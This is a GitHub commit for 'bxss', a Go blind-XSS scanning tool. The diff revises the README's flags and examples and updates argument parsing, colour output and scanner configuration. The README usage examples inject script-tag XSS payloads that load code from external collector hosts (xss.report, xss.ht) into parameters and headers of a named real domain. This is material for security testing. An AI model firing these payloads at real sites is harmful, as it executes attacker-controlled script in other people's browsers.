Skip to content

Commit f1038eb

Browse files
chore: added in more flags and updated terminal output
1 parent e50e7ac commit f1038eb

File tree

9 files changed

+171
-135
lines changed

9 files changed

+171
-135
lines changed

README.md

Lines changed: 63 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -1,75 +1,94 @@
11
<h1 align="center">
22
<br>
3-
<img src="https://github.com/ethicalhackingplayground/bxss/blob/master/static/blinded-drib.jpg" width="200px" alt="Bxss">
3+
<img src="https://github.com/ethicalhackingplayground/bxss/blob/master/static/blinded-drib.png" width="200px" alt="Bxss">
4+
<br>
5+
Bxss - Blind XSS Scanner
46
</h1>
5-
<h1 align="center">
6-
Bxss - Blind XSS Scanner
77

8-
[![Version](https://img.shields.io/github/v/release/ethicalhackingplayground/bxss?style=flat-square)](https://github.com/ethicalhackingplayground/bxss/releases/latest)
9-
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg?style=flat-square)](https://github.com/ethicalhackingplayground/bxss/blob/master/LICENSE)
10-
[![Go Report Card](https://goreportcard.com/badge/github.com/ethicalhackingplayground/bxss?style=flat-square)](https://goreportcard.com/report/github.com/ethicalhackingplayground/bxss)
11-
[![Go Reference](https://pkg.go.dev/badge/github.com/ethicalhackingplayground/bxss.svg)](https://pkg.go.dev/github.com/ethicalhackingplayground/bxss)
8+
<p align="center">
9+
<a href="https://github.com/ethicalhackingplayground/bxss/releases/latest">
10+
<img src="https://img.shields.io/github/v/release/ethicalhackingplayground/bxss?style=flat-square" alt="Version">
11+
</a>
12+
<a href="https://github.com/ethicalhackingplayground/bxss/blob/master/LICENSE">
13+
<img src="https://img.shields.io/badge/License-MIT-yellow.svg?style=flat-square" alt="License">
14+
</a>
15+
<a href="https://goreportcard.com/report/github.com/ethicalhackingplayground/bxss">
16+
<img src="https://goreportcard.com/badge/github.com/ethicalhackingplayground/bxss?style=flat-square" alt="Go Report Card">
17+
</a>
18+
<a href="https://pkg.go.dev/github.com/ethicalhackingplayground/bxss">
19+
<img src="https://pkg.go.dev/badge/github.com/ethicalhackingplayground/bxss.svg" alt="Go Reference">
20+
</a>
21+
</p>
1222

13-
## </h1>
14-
15-
## Description
23+
---
1624

17-
Blind XSS Scanner is a tool that can be used to scan for blind XSS vulnerabilities in web applications.
25+
## 🚀 Description
26+
Bxss is a high-performance Blind XSS scanner that automates the detection of blind XSS vulnerabilities in web applications.
1827

1928
---
2029

21-
### Features
30+
## ✨ Features
31+
- Injects Blind XSS payloads into custom headers & parameters
32+
- Supports multiple HTTP methods (PUT, POST, GET, OPTIONS)
33+
- High-speed scanning with concurrency support
34+
- Easily chainable with other tools
35+
- Simple installation and usage
2236

23-
- Inject Blind XSS payloads into custom headers
24-
- Inject Blind XSS payloads into parameters
25-
- Uses Different Request Methods (PUT,POST,GET,OPTIONS) all at once
26-
- Tool Chaining
27-
- Really fast
28-
- Easy to setup
29-
30-
## Install
37+
---
3138

32-
```
39+
## 📦 Installation
40+
```bash
3341
go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest
3442
```
3543

3644
---
3745

38-
## Arguments
39-
40-
| Argument | Description | Default |
41-
| --------------------- | ---------------------------------------- | ------------ |
42-
| `-appendMode` | Append the payload to the parameter | |
43-
| `-concurrency int` | Set the concurrency | 30 |
44-
| `-header string` | Set the custom header | "User-Agent" |
45-
| `-headerFile string` | Path to file containing headers to test | |
46-
| `-parameters` | Test the parameters for blind xss | |
47-
| `-payload string` | The blind XSS payload | |
48-
| `-payloadFile string` | Path to file containing payloads to test | |
49-
46+
## ⚙️ Arguments
47+
48+
| Argument | Description | Default |
49+
| ------------- | -------------------------------------------------------- | -------- |
50+
| `-a` | Append the payload to the parameter | `false` |
51+
| `-c int` | Set the concurrency level | `30` |
52+
| `-H string` | Set a custom header | `""` |
53+
| `-hf string` | Path to file with headers | `""` |
54+
| `-p string` | The blind XSS payload | `""` |
55+
| `-pf string` | Path to file with payloads | `""` |
56+
| `-t` | Test parameters for blind XSS | `false` |
57+
| `-X string` | HTTP method to use | `""` |
58+
| `-v` | Enable debug mode | `false` |
59+
| `-rl float` | Rate limit (requests per second) | `0` |
60+
| `-f` | Follow redirects | `false` |
5061
---
5162

52-
## Demonstration
53-
54-
[![asciicast](https://asciinema.org/a/mPB0Vms70kvD8dd99BwYi1ucm.svg)](https://asciinema.org/a/mPB0Vms70kvD8dd99BwYi1ucm)
63+
## 🎬 Demonstration
64+
<p align="center">
65+
<a href="https://asciinema.org/a/mPB0Vms70kvD8dd99BwYi1ucm">
66+
<img src="https://asciinema.org/a/mPB0Vms70kvD8dd99BwYi1ucm.svg" alt="Demo">
67+
</a>
68+
</p>
5569

5670
---
5771

58-
### Blind XSS In Parameters
72+
## 🔥 Usage Examples
5973

74+
### Injecting Blind XSS Into Parameters
6075
```bash
61-
subfinder uber.com | gau | grep "&" | bxss -appendMode -payload '"><script src=https://hacker.xss.ht></script>' -parameters
76+
subfinder -d uber.com | gau | grep "&" | bxss -appendMode -payload '"><script src=https://xss.report/c/username></script>' -parameters
6277
```
6378

64-
### Blind XSS In X-Forwarded-For Header
65-
79+
### Injecting Blind XSS Into X-Forwarded-For Header
6680
```bash
67-
subfinder uber.com | gau | bxss -payload '"><script src=https://z0id.xss.ht></script>' -header "X-Forwarded-For"
81+
subfinder -d uber.com | gau | bxss -payload '"><script src=https://xss.report/c/username></script> -header "X-Forwarded-For"
6882
```
6983
7084
---
7185
72-
**If you get a bounty please support by buying me a coffee**
86+
## ☕ Support the Project
87+
If you get a bounty using this tool, consider supporting by buying me a coffee!
88+
89+
<p align="center">
90+
<a href="https://buymeacoffee.com/zoidsec" target="_blank">
91+
<img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt="Buy Me A Coffee" style="height: 41px !important;width: 174px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;">
92+
</a>
93+
</p>
7394
74-
<br>
75-
<a href="https://buymeacoffee.com/zoidsec" target="_blank"><img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt="Buy Me A Coffee" style="height: 41px !important;width: 174px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;" ></a>

static/blinded-drib.jpg

-50.4 KB
Binary file not shown.

static/blinded-drib.png

1.31 MB
Loading

v2/cmd/bxss/main.go

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ func main() {
3636
// Create the payload parser
3737
payloadParser := payloads.NewPayload(args)
3838
if payloadParser == nil {
39-
fmt.Printf(colours.ErrorColor, "Error creating payload parser: ", "Something went wrong")
39+
fmt.Printf(colours.ErrorColor, "Error creating payload parser: "+"Something went wrong")
4040
os.Exit(1)
4141
}
4242

@@ -45,7 +45,7 @@ func main() {
4545
var err error
4646
headers, err = payloadParser.ReadLinesFromFile()
4747
if err != nil {
48-
fmt.Printf(colours.ErrorColor, "Error reading header file: ", err.Error())
48+
fmt.Printf(colours.ErrorColor, "Error reading header file: "+err.Error())
4949
return
5050
}
5151
} else if args.Header != "" {
@@ -57,14 +57,14 @@ func main() {
5757
var err error
5858
payloads, err = payloadParser.ReadLinesFromFile()
5959
if err != nil {
60-
fmt.Printf(colours.ErrorColor, "Error reading payload file: ", err.Error())
60+
fmt.Printf(colours.ErrorColor, "Error reading payload file: "+err.Error())
6161
return
6262
}
6363
} else if args.Payload != "" {
6464
payloads = []string{args.Payload}
6565
}
6666

67-
fmt.Printf(colours.NoticeColor, "\n[-] Please Be Patient for bxss\n ", "")
67+
fmt.Printf(colours.NoticeColor, "Please Be Patient for bxss"+"")
6868

6969
// Create a channel to send work items to the worker pool
7070
workChan := make(chan string)
@@ -93,7 +93,7 @@ func main() {
9393
workChan <- link
9494
}
9595
if err := scanner.Err(); err != nil {
96-
fmt.Printf(colours.ErrorColor, "Error reading input: ", err.Error())
96+
fmt.Printf(colours.ErrorColor, "Error reading input: "+err.Error())
9797
}
9898
close(workChan)
9999
}()

v2/go.sum

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,10 @@ github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8Hm
1414
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
1515
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
1616
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
17+
github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8=
18+
github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
19+
github.com/logrusorgru/aurora/v4 v4.0.0 h1:sRjfPpun/63iADiSvGGjgA1cAYegEWMPCJdUpJYn9JA=
20+
github.com/logrusorgru/aurora/v4 v4.0.0/go.mod h1:lP0iIa2nrnT/qoFXcOZSrZQpJ1o6n2CUf/hyHi2Q4ZQ=
1721
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
1822
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
1923
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=

v2/pkg/arguments/arguments.go

Lines changed: 23 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -14,21 +14,21 @@ type Arguments struct {
1414
HeaderFile string
1515
Payload string
1616
PayloadFile string
17+
Method string
1718
AppendMode bool
1819
Parameters bool
1920
Debug bool
2021
RateLimit float64
2122
FollowRedirects bool
22-
ShowTimestamp bool
2323
}
2424

2525
// Flag variables
2626
var (
2727
debug bool
28-
showTimestamp bool
2928
concurrency int
3029
payload string
3130
payloadFile string
31+
method string
3232
header string
3333
headerFile string
3434
appendMode bool
@@ -43,15 +43,15 @@ func (a *Arguments) ValidateArgs() {
4343

4444
// The banner
4545
fmt.Printf(colours.BannerColor, `
46-
____
47-
| _ \
48-
| |_) |_ _____ ___
49-
| * <\ \/ / *_/ __|
50-
| |_) |> <\__ \__ \
51-
|____//_/\_\___/___/
52-
53-
54-
`, "-- Coded by @z0idsec -- \n")
46+
____
47+
| __ ) __ __ ___ ___
48+
| _ \ \ \/ / / __| / __|
49+
| |_) | > < \__ \ \__ \
50+
|____/ /_/\_\ |___/ |___/
51+
52+
`, "")
53+
fmt.Printf(colours.TextColor, "", "v0.0.3")
54+
fmt.Printf("\n")
5555

5656
// Check if at least one header and one payload option is provided
5757
if (a.Header == "" && a.HeaderFile == "") && (a.Payload == "" && a.PayloadFile == "") {
@@ -67,17 +67,17 @@ func (a *Arguments) ValidateArgs() {
6767
func NewArguments() *Arguments {
6868

6969
// Define the flags
70-
flag.IntVar(&concurrency, "concurrency", 30, "Set the concurrency")
71-
flag.StringVar(&header, "header", "", "Set a single custom header")
72-
flag.StringVar(&headerFile, "headerFile", "", "Path to file containing headers to test")
73-
flag.StringVar(&payload, "payload", "", "The blind XSS payload")
74-
flag.StringVar(&payloadFile, "payloadFile", "", "Path to file containing payloads to test")
75-
flag.BoolVar(&appendMode, "appendMode", false, "Append the payload to the parameter")
76-
flag.BoolVar(&parameters, "parameters", false, "Test the parameters for blind xss")
77-
flag.BoolVar(&debug, "debug", false, "Enable debug mode to view full request details")
78-
flag.Float64Var(&rateLimit, "rl", 0, "Rate limit in requests per second (optional)")
79-
flag.BoolVar(&followRedirects, "r", false, "Follow redirects (optional)")
80-
flag.BoolVar(&showTimestamp, "ts", false, "Show timestamp for each request (optional)")
70+
flag.IntVar(&concurrency, "c", 30, "Set the concurrency level for the scanner")
71+
flag.StringVar(&header, "H", "", "Set a single custom header to test for blind XSS")
72+
flag.StringVar(&headerFile, "hf", "", "Path to file containing headers to test for blind XSS")
73+
flag.StringVar(&payload, "p", "", "The blind XSS payload to test")
74+
flag.StringVar(&payloadFile, "pf", "", "Path to file containing payloads to test for blind XSS")
75+
flag.BoolVar(&appendMode, "a", false, "Append the payload to the parameter value when testing")
76+
flag.BoolVar(&parameters, "t", false, "Test the parameters for blind XSS by appending the payload to the parameter value")
77+
flag.StringVar(&method, "X", "", "The HTTP method to use when testing (GET, POST, etc.)")
78+
flag.BoolVar(&debug, "v", false, "Enable debug mode to view full request details and debug information")
79+
flag.Float64Var(&rateLimit, "rl", 0, "Rate limit in requests per second (optional to prevent abuse)")
80+
flag.BoolVar(&followRedirects, "f", false, "Follow redirects when testing (optional)")
8181

8282
// Parse the arguments
8383
flag.Parse()
@@ -88,11 +88,11 @@ func NewArguments() *Arguments {
8888
HeaderFile: headerFile,
8989
Payload: payload,
9090
PayloadFile: payloadFile,
91+
Method: method,
9192
AppendMode: appendMode,
9293
Parameters: parameters,
9394
Debug: debug,
9495
RateLimit: rateLimit,
9596
FollowRedirects: followRedirects,
96-
ShowTimestamp: showTimestamp,
9797
}
9898
}

v2/pkg/colours/colours.go

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,9 @@ package colours
44
const (
55
BannerColor = "\033[1;34m%s\033[0m\033[1;36m%s\033[0m"
66
TextColor = "\033[1;0m%s\033[1;32m%s\n\033[0m"
7-
InfoColor = "\033[1;0m%s\033[1;35m%s\033[0m"
8-
NoticeColor = "\033[1;0m%s\033[1;34m%s\n\033[0m"
9-
WarningColor = "\033[1;33m%s%s\033[0m"
10-
ErrorColor = "\033[1;31m%s%s\033[0m"
11-
DebugColor = "\033[0;36m%s%s\033[0m"
7+
InfoColor = "\033[1;37m[\033[1;32mINFO\033[1;37m]\033[0m %s\n"
8+
NoticeColor = "\033[1;37m[\033[1;34mNOTICE\033[1;37m]\033[0m %s\n"
9+
WarningColor = "\033[1;37m[\033[1;34mNOTICE\033[1;37m]\033[0m %s\n"
10+
ErrorColor = "\033[1;37m[\033[1;31mERROR\033[1;37m]\033[0m %s\n"
11+
DebugColor = "\033[1;37m[\033[0;36mDEBUG\033[1;37m]\033[0m %s\n"
1212
)

v2/pkg/payloads/payloads.go

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -58,9 +58,17 @@ func (p *PayloadParser) ReadLinesFromFile() ([]string, error) {
5858
// If there is an error reading the input, that error is printed to standard
5959
// error. Otherwise, the function prints nothing and returns no value.
6060
func (p *PayloadParser) ProcessPayloadsAndHeaders(limiter *rate.Limiter, link string, payloads []string, headers []string) {
61-
newScanner := scan.NewScanner(limiter, p.args.RateLimit, p.args.FollowRedirects, p.args.AppendMode, p.args.Parameters, p.args.Debug, p.args.ShowTimestamp)
61+
config := &scan.ScannerConfig{
62+
AppendMode: p.args.AppendMode,
63+
IsParameters: p.args.Parameters,
64+
RateLimit: p.args.RateLimit,
65+
Method: p.args.Method,
66+
FollowRedirects: p.args.FollowRedirects,
67+
Debug: p.args.Debug,
68+
}
69+
newScanner := scan.NewScanner(limiter, config)
6270
link = p.EnsureProtocol(link)
63-
fmt.Printf(colours.NoticeColor, "[+] Checking Url Scheme: ", link)
71+
fmt.Printf(colours.NoticeColor, "Checking URL Scheme: "+link)
6472
fmt.Println("")
6573
if len(headers) == 0 {
6674
for _, payload := range payloads {

0 commit comments

Comments
 (0)